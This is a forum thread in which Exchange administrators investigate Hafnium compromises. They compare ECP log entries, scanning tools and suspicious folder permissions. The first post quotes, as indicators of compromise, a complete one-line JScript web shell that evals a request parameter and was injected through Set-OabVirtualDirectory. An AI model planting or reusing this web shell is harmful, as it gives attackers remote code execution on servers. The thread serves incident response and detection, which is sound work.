Forum Discussion

Copper Contributor

Mar 08, 2021

Re: Hafnium - Removal of Changes

Have you searched in your ECPServer log files? I have 5 entries around changing the OABVirtualDirectory to something -

S:CMD=Set-OabVirtualDirectory.ExternalUrl=''http://f/<script language=""JScript"" runat=""server"">function Page_Load(){eval(Request[""Ananas""],""unsafe"");}</script>'

The 'f' directory does not exist within wwwroot, neither do any scripts.

I also have a similar entry, 4 of them -

'S:CMD=Set-OabVirtualDirectory.ExternalUrl=''http://f/<script language=""JScript"" runat=""server"">function Page_Load(){eval(Request[""klk123456""],""unsafe"");}</script>'

8 Replies

tomservo
Copper Contributor
Mar 08, 2021
Same here, I started going the IIS to see if anything was strange while I wait for the Safety Scanner to finish. WarsT86
- sbabcock61
  Copper Contributor
  Mar 08, 2021
  I found this link
  https://www.spectx.com/articles/investigate-your-logs-for-the-microsoft-exchange-vulnerability
  Includes an msi app to look at the logs with various integrated scripts to check things out
  - WarsT86
    Copper Contributor
    Mar 08, 2021
    This looks really useful, I'm going to get onto it now.
    
    Does your C:\Windows\Temp folder have IIS_USERS with special permissions added??
    Traverse Folder/Execute File
    Create Files/Write Data
    Create Folders/Append Data
    
    IIS_Users has no members and I have no unusual looking local users on the server either...